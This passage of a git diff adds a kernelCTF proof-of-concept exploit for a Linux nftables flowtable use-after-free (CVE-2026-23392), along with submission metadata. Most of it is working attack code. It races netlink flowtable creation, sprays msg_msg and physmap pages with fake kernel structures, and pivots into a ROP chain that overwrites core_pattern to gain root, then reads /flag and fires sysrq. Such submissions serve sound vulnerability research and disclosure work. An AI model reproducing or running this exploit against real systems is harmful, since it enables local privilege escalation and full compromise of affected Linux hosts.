= nla_nest_begin(buf, &off, IFLA_INFO_DATA); + int ps = nla_nest_begin(buf, &off, VETH_INFO_PEER); + struct ifinfomsg *pi = (struct ifinfomsg *)((char *)buf + off); + pi->ifi_family = AF_UNSPEC; + off += NLA_ALIGN(sizeof(struct ifinfomsg)); + nla_put_str(buf, &off, IFLA_IFNAME, peer); + nla_nest_end(buf, &off, ps); + nla_nest_end(buf, &off, id); + nla_nest_end(buf, &off, li); + nlh->nlmsg_len = off; + + int ret = nl_send_recv(fd, buf, off); + close(fd); + return ret; +} + +static int rtnl_set_up(const char *name) +{ + int fd = nl_socket(NETLINK_ROUTE); + if (fd < 0) return -1; + char buf[512]; + memset(buf, 0, sizeof(buf)); + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + nlh->nlmsg_type = RTM_NEWLINK; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_seq = 1; + struct ifinfomsg *ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); + ifi->ifi_family = AF_UNSPEC; + ifi->ifi_index = if_nametoindex(name); + ifi->ifi_change = IFF_UP; + ifi->ifi_flags = IFF_UP; + int off = NLMSG_ALIGN(NLMSG_HDRLEN + sizeof(struct ifinfomsg)); + nlh->nlmsg_len = off; + int ret = nl_send_recv(fd, buf, off); + close(fd); + return ret; +} + +/* ── nft table + flowtable ── */ + +static int nft_create_table(int fd, const char *name) +{ + char buf[1024]; + memset(buf, 0, sizeof(buf)); + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; + nlh->nlmsg_seq = 10; + struct nfgenmsg *nfg = (struct nfgenmsg *)NLMSG_DATA(nlh); + nfg->nfgen_family = NFPROTO_INET; + nfg->version = NFNETLINK_V0; + int off = NLMSG_ALIGN(NLMSG_HDRLEN + sizeof(struct nfgenmsg)); + nla_put_str(buf, &off, NFTA_TABLE_NAME, name); + nlh->nlmsg_len = off; + return nfnl_batch_send(fd, buf, off); +} + +static int nft_delete_table(int fd, const char *name) +{ + char buf[1024]; + memset(buf, 0, sizeof(buf)); + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELTABLE; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_seq = 10; + struct nfgenmsg *nfg = (struct nfgenmsg *)NLMSG_DATA(nlh); + nfg->nfgen_family = NFPROTO_INET; + nfg->version = NFNETLINK_V0; + int off = NLMSG_ALIGN(NLMSG_HDRLEN + sizeof(struct nfgenmsg)); + nla_put_str(buf, &off, NFTA_TABLE_NAME, name); + nlh->nlmsg_len = off; + return nfnl_batch_send(fd, buf, off); +} + +static void build_flowtable_msg(char *buf, int *out_len, + const char *table, const char *name, + const char **devices, int ndevices) +{ + memset(buf, 0, 8192); + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWFLOWTABLE; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; + nlh->nlmsg_seq = 20; + struct nfgenmsg *nfg = (struct nfgenmsg *)NLMSG_DATA(nlh); + nfg->nfgen_family = NFPROTO_INET; + nfg->version = NFNETLINK_V0; + int off = NLMSG_ALIGN(NLMSG_HDRLEN + sizeof(struct nfgenmsg)); + nla_put_str(buf, &off, NFTA_FLOWTABLE_TABLE, table); + nla_put_str(buf, &off, NFTA_FLOWTABLE_NAME, name); + int hk = nla_nest_begin(buf, &off, NFTA_FLOWTABLE_HOOK); + uint32_t hn = htonl(NF_NETDEV_INGRESS); + nla_put_u32(buf, &off, NFTA_FLOWTABLE_HOOK_NUM, hn); + uint32_t pr = htonl(0); + nla_put_u32(buf, &off, NFTA_FLOWTABLE_HOOK_PRIORITY, pr); + int ds = nla_nest_begin(buf, &off, NFTA_FLOWTABLE_HOOK_DEVS); + for (int i = 0; i < ndevices; i++) + nla_put_str(buf, &off, NFTA_DEVICE_NAME, devices[i]); + nla_nest_end(buf, &off, ds); + nla_nest_end(buf, &off, hk); + nlh->nlmsg_len = off; + *out_len = off; +} + +/* ── Packet flood ── + * + * Build a minimal ETH/IPv4/UDP packet that matches the fake flow_offload_tuple. + * Kernel extracts tuple via nf_flow_tuple_ip() and looks it up in the rhashtable. + * Every field here must match the corresponding fake tuple field exactly. + * + * Packet layout (42 bytes total): + * [0..13] Ethernet header (dst MAC, src MAC, EtherType) + * [14..33] IPv4 header (src=10.0.0.2, dst=10.0.0.1, proto=UDP) + * [34..41] UDP header (sport=5000, dport=5001) + * + * Sent on veth1 → arrives on veth0 ingress → hits flowtable hook. + */ + +/* Packet parameters — must match fake flow_offload_tuple in build_payload() */ +#define PKT_SEND_DEV "veth1" /* send on veth1, arrives on veth0 ingress */ +#define PKT_SRC_IP {10, 0, 0, 2} +#define PKT_DST_IP {10, 0, 0, 1} +#define PKT_SRC_PORT 5000 +#define PKT_DST_PORT 5001 + +#define ETH_HDR_LEN 14 +#define IPV4_HDR_LEN 20 +#define UDP_HDR_LEN 8 + +/* IPv4 header field offsets */ +#define IPV4_OFF_VER_IHL 0 +#define IPV4_OFF_TOT_LEN 2 +#define IPV4_OFF_TTL 8 +#define IPV4_OFF_PROTOCOL 9 +#define IPV4_OFF_SRC 12 +#define IPV4_OFF_DST 16 + +static void packet_init(void) +{ + int ifidx = if_nametoindex(PKT_SEND_DEV); + if (!ifidx) { perror("if_nametoindex " PKT_SEND_DEV); _exit(1); } + + pkt_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP)); + if (pkt_fd < 0) { perror("socket AF_PACKET"); _exit(1); } + + /* Bind to send device */ + memset(&pkt_sll, 0, sizeof(pkt_sll)); + pkt_sll.sll_family = AF_PACKET; + pkt_sll.sll_protocol = htons(ETH_P_IP); + pkt_sll.sll_ifindex = ifidx; + pkt_sll.sll_halen = ETH_ALEN; + memset(pkt_sll.sll_addr, 0xff, ETH_ALEN); /* broadcast dst */ + + memset(pkt_buf, 0, sizeof(pkt_buf)); + + /* ── Ethernet header ── */ + memset(pkt_buf + 0, 0xff, ETH_ALEN); /* dst MAC: broadcast */ + memset(pkt_buf + ETH_ALEN, 0xaa, ETH_ALEN); /* src MAC: arbitrary */ + *(uint16_t *)(pkt_buf + 12) = htons(ETH_P_IP); + + /* ── IPv4 header ── */ + unsigned char *ip = pkt_buf + ETH_HDR_LEN; + ip[IPV4_OFF_VER_IHL] = 0x45; /* version=4, IHL=5 (20 bytes) */ + *(uint16_t *)(ip + IPV4_OFF_TOT_LEN) = htons(IPV4_HDR_LEN + UDP_HDR_LEN); + ip[IPV4_OFF_TTL] = 64; + ip[IPV4_OFF_PROTOCOL] = IPPROTO_UDP; /* 17 */ + uint8_t src_ip[] = PKT_SRC_IP; + uint8_t dst_ip[] = PKT_DST_IP; + memcpy(ip + IPV4_OFF_SRC, src_ip, 4); + memcpy(ip + IPV4_OFF_DST, dst_ip, 4); + + /* ── UDP header ── */ + unsigned char *udp = ip + IPV4_HDR_LEN; + *(uint16_t *)(udp + 0) = htons(PKT_SRC_PORT); + *(uint16_t *)(udp + 2) = htons(PKT_DST_PORT); + *(uint16_t *)(udp + 4) = htons(UDP_HDR_LEN); /* length: header only, no data */ + + pkt_len = ETH_HDR_LEN + IPV4_HDR_LEN + UDP_HDR_LEN; +} + +static void *flood_thread(void *arg) +{ + set_cpu(1); + + while (1) { + struct itimerspec its = {}; + its.it_value.tv_nsec = cur_timeout; + pthread_barrier_wait(&barr); + timerfd_settime(tfd, TFD_TIMER_CANCEL_ON_SET, &its, NULL); + for (int i = 0; i < 0x20; i++) + sendto(pkt_fd, pkt_buf, pkt_len, MSG_DONTWAIT, + (struct sockaddr *)&pkt_sll, sizeof(pkt_sll)); + usleep(1000); + pthread_barrier_wait(&barr); + } + return NULL; +} + +/* ── Physmap payload ── + * + * Sprayed page layout (each fake struct at a fixed offset within the page): + * + * +0x000 fake bucket_table → rhashtable_lookup traverses this + * +0x100 fake flow_offload → returned as "found" flow entry + * +0x200 fake dst_entry → dual-purpose: dst fields + ROP chain + * +0x300 fake dst_ops → check() = stack pivot gadget ★ RIP + * +0x400 fake nf_conn → pass nf_ct_is_dying check + */ + +/* ① rhashtable_lookup() dereferences flow_table->rhashtable.tbl, + * walks bucket_table.buckets[hash % size] to find a flow_offload. */ +static void fake_bucket_table(uint8_t *fb, uint64_t base) +{ + uint8_t *p = fb + PAYLOAD_OFF_BUCKET; + set32(p, "bucket_table", "size", 1); /* hash always → bucket 0 */ + set32(p, "bucket_table", "nest", 0); + set64(p, "bucket_table", "future_tbl", 0); /* no resize */ + set64(p, "bucket_table", "buckets", base + PAYLOAD_OFF_FLOW); +} + +/* ② flow_offload_lookup() checks tuplehash[0].tuple against packet, + * then checks flow->flags (TEARDOWN) and flow->ct (is_dying). */ +#define XMIT_TYPE_NEIGH (1 << 2) /* FLOW_OFFLOAD_XMIT_NEIGH in bitfield */ + +static void fake_flow_offload(uint8_t *fb, uint64_t base) +{ + uint8_t *p = fb + PAYLOAD_OFF_FLOW; + + set64(p, "flow_offload", "node_next", 0x1); /* NULLS marker (end of chain) */ + + /* Tuple — must match the flood packet from packet_init() exactly */ + uint8_t *tp = p + field("flow_offload", "tuple"); + uint8_t src[] = PKT_SRC_IP, dst[] = PKT_DST_IP; + memcpy(tp + field("flow_offload_tuple", "src_v4"), src, 4); + memcpy(tp + field("flow_offload_tuple", "dst_v4"), dst, 4); + set16(tp, "flow_offload_tuple", "src_port", htons(PKT_SRC_PORT)); + set16(tp, "flow_offload_tuple", "dst_port", htons(PKT_DST_PORT)); + set32(tp, "flow_offload_tuple", "iifidx", if_nametoindex("veth0")); + set8 (tp, "flow_offload_tuple", "l3proto", AF_INET); + set8 (tp, "flow_offload_tuple", "l4proto", IPPROTO_UDP); + set8 (tp, "flow_offload_tuple", "xmit_flags", XMIT_TYPE_NEIGH); + set16(tp, "flow_offload_tuple", "mtu", 0xFFFF); + set64(tp, "flow_offload_tuple", "dst_cache", base + PAYLOAD_OFF_DST); + set32(tp, "flow_offload_tuple", "dst_cookie", 0); + + set64(p, "flow_offload", "ct", base + PAYLOAD_OFF_CT); + set64(p, "flow_offload", "flags", 0); +} + +/* ③+④ dst_entry + dst_ops + ROP — assembled by libxdk PayloadBuilder. + * + * Layout in the unified Payload (size 0x200 bytes): + * [+0x00..+0x80) dst_entry (RDI points here after pivot) + * +0x08 ops -> base + PAYLOAD_OFF_DST + 0x80 (dst_ops) + * +0x3A obsolete = 1 (triggers check()) + * [+0x80..+0x100) dst_ops + * +0x90 check = pivot gadget (filled by builder) + * rest trampoline + ROP body (placed by builder) + * + * Builder picks a OneGadgetPivot pivot_reg=RDI from kxdb, places stack-shift + * gadgets to bridge from offset 0 to free space holding the ROP chain. */ +static void fake_dst_entry_and_rop(uint8_t *fb, uint64_t base) +{ + Payload p(0x200); + + /* dst_entry.ops -> dst_ops embedded at +0x80 within this payload */ + p.SetU64(field("dst_entry", "ops"), + base + PAYLOAD_OFF_DST + 0x80); + + /* dst_entry.obsolete = 1 */ + uint16_t obs = 1; + p.Set(field("dst_entry", "obsolete"), &obs, 2); + + /* ROP body: write core_pattern then sleep */ + RopChain rop(*g_target, kbase); + const uint64_t cp_addr = kbase + g_target->GetSymbolOffset("core_pattern"); + for (size_t i = 0; i < sizeof(core_pattern_str); i += 8) { + uint64_t v = 0; + size_t n = sizeof(core_pattern_str) - i; + memcpy(&v, core_pattern_str + i, n < 8 ? n : 8); + rop.AddRopAction(RopActionId::WRITE_WHAT_WHERE_64, + {cp_addr + i, v}); + } + rop.AddRopAction(RopActionId::MSLEEP, {0x7FFFFFFF}); + + /* RDI -> offset 0 of payload; function pointer = dst_ops.check at offset 0x90 */ + const uint64_t check_off = 0x80 + field("dst_ops", "check"); + PayloadBuilder builder(g_target->GetPivots(), kbase); + builder.AddPayload(p, Register::RDI, check_off); + builder.AddRopChain(rop); + if (!builder.Build()) + errx(1, "PayloadBuilder failed"); + + auto& data = p.GetData(); + memcpy(fb + PAYLOAD_OFF_DST, data.data(), data.size()); +} + +/* ⑤ nf_ct_is_dying(flow->ct) checks ct->status bit IPS_DYING. + * Set status = 0 so the check passes. */ +static void fake_nf_conn(uint8_t *fb) +{ + set64(fb + PAYLOAD_OFF_CT, "nf_conn", "status", 0); +} + +/* Spray fake_buf across 3.1GB of physical pages via physmap. + * mmap(POPULATE) → pages allocated → MADV_FREE → buddy reclaims → + * re-mmap(POPULATE) → our data may land on slab pages. */ +static void physmap_spray(void) +{ + char *mem = (char *)mmap(NULL, SPRAY_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANON | MAP_POPULATE, -1, 0); + for (size_t i = 0; i < SPRAY_SIZE; i += 0x1000) + memcpy(&mem[i], fake_buf, 0x1000); + + madvise(mem, SPRAY_SIZE, MADV_FREE); + + mem = (char *)mmap(NULL, SPRAY_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANON | MAP_POPULATE, -1, 0); + for (size_t i = 0; i < SPRAY_SIZE; i += 0x1000) + memcpy(&mem[i], fake_buf, 0x1000); + + munmap(mem, SPRAY_SIZE); +} + +/* Assemble all fake structures into one page, then spray it. */ +static void build_payload() +{ + memset(fake_buf, 0, sizeof(fake_buf)); + uint64_t base = know_addr; + uint8_t *fb = (uint8_t *)fake_buf; + + fake_bucket_table(fb, base); /* +0x000 */ + fake_flow_offload(fb, base); /* +0x100 */ + fake_dst_entry_and_rop(fb, base); /* +0x200 (includes dst_ops embedded at +0x280) */ + fake_nf_conn(fb); /* +0x400 */ + + physmap_spray(); +} + +/* ── msg_msg spray builder ── + * + * nft_flowtable (448 bytes) lives in kmalloc-cg-512. + * msg_msg header = 48 bytes, payload = 464 bytes → same slab. + * + * We overwrite nf_flowtable.rhashtable.tbl to point to our fake bucket_table. + * nft_flowtable.data starts at offset 0x50 in the slab object. + * rhashtable.tbl is at offset 0x10 within nf_flowtable. + * So slab offset = 0x50 + 0x10 = 0x60. + * msg_msg payload offset = 0x60 - 0x30 (header) = 0x30. + */ +static void build_spray(void) +{ + memset(spray_payload, 0, sizeof(spray_payload)); + + uint64_t data_off = field("nft_flowtable", "data"); /* 0x50 */ + uint64_t tbl_off = field("nf_flowtable", "rhashtable_tbl"); /* 0x10 */ + uint64_t hdr_size = field("msg_msg", "data"); /* 0x30 */ + + uint64_t spray_off = data_off + tbl_off - hdr_size; + *(uint64_t *)(spray_payload + spray_off) = know_addr + PAYLOAD_OFF_BUCKET; +} + +/* ── Heap spray via msg_msg ── */ + +static void *spray_worker(void *arg) +{ + set_cpu(0); + struct spray_arg *sa = (struct spray_arg *)arg; + struct { + long mtype; + char mtext[SPRAY_MSG_SIZE]; + } msg; + msg.mtype = 1; + memcpy(msg.mtext, spray_payload, SPRAY_MSG_SIZE); + + for (int i = 0; i < SPRAY_PER_ROUND; i++) { + int idx = sa->start_idx + i; + spray_qids[idx] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + if (spray_qids[idx] < 0) { + printf("[!] msgget failed at idx %d\n", idx); + break; + } + msgsnd(spray_qids[idx], &msg, SPRAY_MSG_SIZE, 0); + usleep(5000); + } + return NULL; +} + +static void spray_one_round(void) +{ + spray_args[spray_slot].start_idx = spray_slot * SPRAY_PER_ROUND; + pthread_create(&spray_thrs[spray_slot], NULL, spray_worker, &spray_args[spray_slot]); + spray_slot++; +} + +static void spray_cleanup(void) +{ + for (int t = 0; t < spray_slot; t++) + pthread_join(spray_thrs[t], NULL); + for (int i = 0; i < SPRAY_TOTAL; i++) { + if (spray_qids[i] >= 0) { + msgctl(spray_qids[i], IPC_RMID, NULL); + spray_qids[i] = -1; + } + } + spray_slot = 0; +} + +/* ── Namespace setup ── */ + +static void write_file(const char *path, const char *val) +{ + FILE *f = fopen(path, "w"); + if (f) { fputs(val, f); fclose(f); } +} + +static void setup_ns(void) +{ + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) + err(1, "unshare"); + write_file("/proc/self/setgroups", "deny"); + write_file("/proc/self/uid_map", "0 1000 1"); + write_file("/proc/self/gid_map", "0 1000 1"); +} + +/* ── Post-exploit: core_pattern ── */ + +static int check_core() +{ + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + if (core < 0) return 0; + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, core_pattern_str, strlen(core_pattern_str)) == 0; +} + +static void crash() +{ + int memfd = memfd_create("", 0); + int exe = open("/proc/self/exe", O_RDONLY); + if (exe >= 0) { + sendfile(memfd, exe, 0, 0xffffffff); + close(exe); + } + dup2(memfd, 666); + close(memfd); + + while (check_core() == 0) + usleep(100); + + *(volatile size_t *)0 = 0; +} + +/* ── Vuln-trigger mode ── + * + * Minimal reproducer of the UAF for kernelCTF vuln-verify: + * race nft_register_flowtable_net_hooks() EEXIST path — hook registered, + * then unregistered without synchronize_rcu, then flowtable freed. A + * concurrent packet on veth0 ingress dereferences the freed priv in + * flow_offload_lookup() -> KASAN report -> kernel panic (kasan.fault=panic). + * + * No KASLR leak, no physmap spray, no msg_msg spray, no RIP hijack. + * Loops until KASAN panics the kernel; on patched kernels it simply + * times out, which vuln-verify interprets as pwned=False. + */ +static void trigger_vuln(void) +{ + logi("vuln-trigger mode: flowtable EEXIST UAF"); + + setup_ns(); + + struct rlimit rlim = {}; + rlim.rlim_cur = 0xf000; + rlim.rlim_max = 0xf000; + setrlimit(RLIMIT_NOFILE, &rlim); + + SYSCHK(rtnl_create_veth("veth0", "veth1")); + rtnl_set_up("lo"); + rtnl_set_up("veth0"); + rtnl_set_up("veth1"); + + for (int i = 0; i < NUM_EXTRA; i++) { + char a[16], b[16]; + snprintf(a, sizeof(a), "ve%da", i); + snprintf(b, sizeof(b), "ve%db", i); + if (rtnl_create_veth(a, b) < 0) + break; + rtnl_set_up(a); + rtnl_set_up(b); + } + + packet_init(); + + int nfd = nl_socket(NETLINK_NETFILTER); + if (nfd < 0) { loge("nl_socket failed"); return; } + + const char *dev_ft1[] = { "veth1" }; + const char *dev_ft2[NUM_EXTRA + 2]; + int ndev = 0; + dev_ft2[ndev++] = "veth0"; + static char extra_names[NUM_EXTRA][16]; + for (int i = 0; i < NUM_EXTRA; i++) { + snprintf(extra_names[i], sizeof(extra_names[i]), "ve%da", i); + dev_ft2[ndev++] = extra_names[i]; + } + dev_ft2[ndev++] = "veth1"; + + char ft1_msg[2048], ft2_msg[8192]; + int ft1_len, ft2_len; + build_flowtable_msg(ft1_msg, &ft1_len, "t", "ft1", dev_ft1, 1); + build_flowtable_msg(ft2_msg, &ft2_len, "t", "ft2", dev_ft2, ndev); + + tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + ratc_setup(tfd); + + pthread_barrier_init(&barr, NULL, 2); + cur_timeout = TRIGGER_TIMEOUT_MIN; + + pthread_t fthr; + pthread_create(&fthr, NULL, flood_thread, NULL); + + set_cpu(0); + + for (int round = 0; ; round++) { + if (nft_create_table(nfd, "t") < 0) { usleep(1000); continue; } + if (nfnl_batch_send(nfd, ft1_msg, ft1_len) < 0) { + nft_delete_table(nfd, "t"); + continue; + } + + pthread_barrier_wait(&barr); + nfnl_batch_send(nfd, ft2_msg, ft2_len); /* EEXIST -> UAF path */ + pthread_barrier_wait(&barr); + + nft_delete_table(nfd, "t"); + + cur_timeout += TRIGGER_TIMEOUT_STEP; + if (cur_timeout > TRIGGER_TIMEOUT_MAX) + cur_timeout = TRIGGER_TIMEOUT_MIN; + + if (round % 1000 == 0) + logd("vuln-trigger round %d timeout=%dns", round, cur_timeout); + } +} + +/* ── Main ── */ + +int main(int argc, char **argv) +{ + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + /* vuln-verify harness: trigger UAF only (no RIP chain), let KASAN panic */ + if (argc >= 2 && strcmp(argv[1], "--vuln-trigger") == 0) { + trigger_vuln(); + return 0; + } + + int timeout_min = TIMEOUT_MIN_DEFAULT; + int timeout_max = TIMEOUT_MAX_DEFAULT; + + if (argc >= 3) { + timeout_min = atoi(argv[1]); + timeout_max = atoi(argv[2]); + } else if (argc == 2) { + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + system("id"); + system("cat /flag;sleep 1;echo o>/proc/sysrq-trigger"); + exit(0); + } + + /* ── Initialize libxdk target ── */ + + static TargetDb kxdb("target_db.kxdb", target_db); + + Target st("kernelctf", "cos-121-18867.381.45"); + setup_target(st); + kxdb.AddTarget(st); + + static Target target = kxdb.AutoDetectTarget(); + g_target = ⌖ + + logi("Target: %s %s", target.GetDistro().c_str(), target.GetReleaseName().c_str()); + + /* Fork core_pattern crash watcher */ + if (fork() == 0) { + set_cpu(1); + crash(); + } + + /* @step(1) Setup: user+net namespace */ + setup_ns(); + + struct rlimit rlim = {}; + rlim.rlim_cur = 0xf000; + rlim.rlim_max = 0xf000; + setrlimit(RLIMIT_NOFILE, &rlim); + + /* @step(2) Setup: create veth pairs */ + SYSCHK(rtnl_create_veth("veth0", "veth1")); + rtnl_set_up("lo"); + rtnl_set_up("veth0"); + rtnl_set_up("veth1"); + + for (int i = 0; i < NUM_EXTRA; i++) { + char a[16], b[16]; + snprintf(a, sizeof(a), "ve%da", i); + snprintf(b, sizeof(b), "ve%db", i); + if (rtnl_create_veth(a, b) < 0) + break; + rtnl_set_up(a); + rtnl_set_up(b); + } + + /* @step(3) Setup: packet sender */ + packet_init(); + + /* @step(3.5) KASLR leak */ + if (getenv("KTEXT")) + kbase = strtoull(getenv("KTEXT"), 0, 16); + else + kbase = leak_kaslr_base(11, 100, 9); + + logi("Kernel base (raw leak): 0x%lx", kbase); + + kbase &= ~0xffffffULL; + know_addr = kbase + g_target->GetSymbolOffset("__init_begin"); + logi("Kernel base: 0x%lx", kbase); + + /* Build fake structures at __init_begin via physmap spray */ + build_payload(); + logi("Payload at __init_begin = 0x%lx", know_addr); + + /* Build msg_msg spray */ + build_spray(); + + /* @step(4) Setup: nfnetlink socket */ + int nfd = nl_socket(NETLINK_NETFILTER); + if (nfd < 0) return 1; + + /* @step(5) Pre-build nft messages */ + const char *dev_ft1[] = { "veth1" }; + const char *dev_ft2[NUM_EXTRA + 2]; + int ndev = 0; + dev_ft2[ndev++] = "veth0"; + static char extra_names[NUM_EXTRA][16]; + for (int i = 0; i < NUM_EXTRA; i++) { + snprintf(extra_names[i], sizeof(extra_names[i]), "ve%da", i); + dev_ft2[ndev++] = extra_names[i]; + } + dev_ft2[ndev++] = "veth1"; + + char ft1_msg[2048], ft2_msg[8192]; + int ft1_len, ft2_len; + build_flowtable_msg(ft1_msg, &ft1_len, "t", "ft1", dev_ft1, 1); + build_flowtable_msg(ft2_msg, &ft2_len, "t", "ft2", dev_ft2, ndev); + + /* @step(6) RATC setup */ + tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + ratc_setup(tfd); + logi("RATC: %d forks x %d dups x %d epolls = %d waiters", + RATC_FORK_COUNT, RATC_DUP_COUNT, RATC_EPOLL_COUNT, + RATC_FORK_COUNT * RATC_DUP_COUNT * RATC_EPOLL_COUNT); + + /* @step(7) Start flood thread on CPU 1 */ + memset(spray_qids, -1, sizeof(spray_qids)); + spray_slot = 0; + pthread_barrier_init(&barr, NULL, 2); + cur_timeout = timeout_min; + + pthread_t fthr; + pthread_create(&fthr, NULL, flood_thread, NULL); + + set_cpu(0); + + logi("Starting race loop..."); + logd("Sweep %d-%d ns, step %d", timeout_min, timeout_max, TIMEOUT_STEP); + + for (int round = 0; ; round++) { + if (nft_create_table(nfd, "t") < 0) { + usleep(1000); + continue; + } + if (nfnl_batch_send(nfd, ft1_msg, ft1_len) < 0) { + nft_delete_table(nfd, "t"); + continue; + } + + pthread_barrier_wait(&barr); + nfnl_batch_send(nfd, ft2_msg, ft2_len); + pthread_barrier_wait(&barr); + + spray_one_round(); + nft_delete_table(nfd, "t"); + + if (spray_slot >= SPRAY_BATCH) + spray_cleanup(); + + if (round % 100 == 0) + logd("round %d timeout=%dns", round, cur_timeout); + + cur_timeout += TIMEOUT_STEP; + if (cur_timeout > timeout_max) + cur_timeout = timeout_min; + } + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit.original b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit.original new file mode 100755 index 000000000..1e3322595 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit.original differ diff --git a/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/target_db.kxdb b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/target_db.kxdb new file mode 100644 index 000000000..b47d2547a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/target_db.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2026-23392_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-23392_cos/metadata.json new file mode 100644 index 000000000..809f60bf1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23392_cos/metadata.json @@ -0,0 +1,33 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp483" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7e3955b282eae20d61c75e499c75eade51c20060", + "cve":"CVE-2026-23392", + "affected_versions":[ + "5.5 - 7.0-rc4" + ], + "requirements":{ + "attack_surface":[ + ], + "capabilities":[ + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES", + "CONFIG_NF_FLOW_TABLE", + "CONFIG_NF_FLOW_TABLE_INET", + "CONFIG_NETFILTER_INGRESS" + ] + } + }, + "exploits": { + "cos-121-18867.381.45": { + "uses":["userns"], + "stability_notes":"7 times success per 10 times run", + "requires_separate_kaslr_leak": false + } + } + }